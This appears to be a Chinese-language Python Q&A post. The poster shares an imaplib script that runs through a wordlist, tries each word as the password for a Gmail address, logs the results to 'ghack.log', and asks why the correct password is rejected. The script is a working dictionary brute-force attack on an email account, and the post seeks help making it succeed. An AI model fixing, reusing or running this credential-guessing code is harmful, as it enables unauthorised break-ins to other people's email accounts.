不接受Python imaplib正确密码

2024-04-25 09:00:03 发布

您现在位置:Python中文网/ 问答频道 /正文

我有一个文本文件中的单词列表。我想跑imap.登录对那个文件中的单词起作用。该列表中的一个词是电子邮件ID的密码。脚本无法将其识别为密码,但是,当我手动传递密码时,它似乎返回“确定”

以下是脚本:

import imaplib

conn = imaplib.IMAP4_SSL("imap.gmail.com", 993)   
email_id='someone__blahh@gmail.com'

passwrds = open('/Users/rdj/scripts/words', 'r')
for i in passwrds.readlines():
        i = i.rstrip()
        passwrd = i
        if len(passwrd) > 5:
                fle = open("/Users/rdj/scripts/ghack.log", "a")
                try:
                        if conn.login(email_id, passwrd):
                                fle.write("%s ==> EUREKA\n" %(passwrd))
                                break
                except:
                        fle.write("%s --> NO LUCK\n" %(passwrd))

Tags: 脚本comid密码列表emailopenconn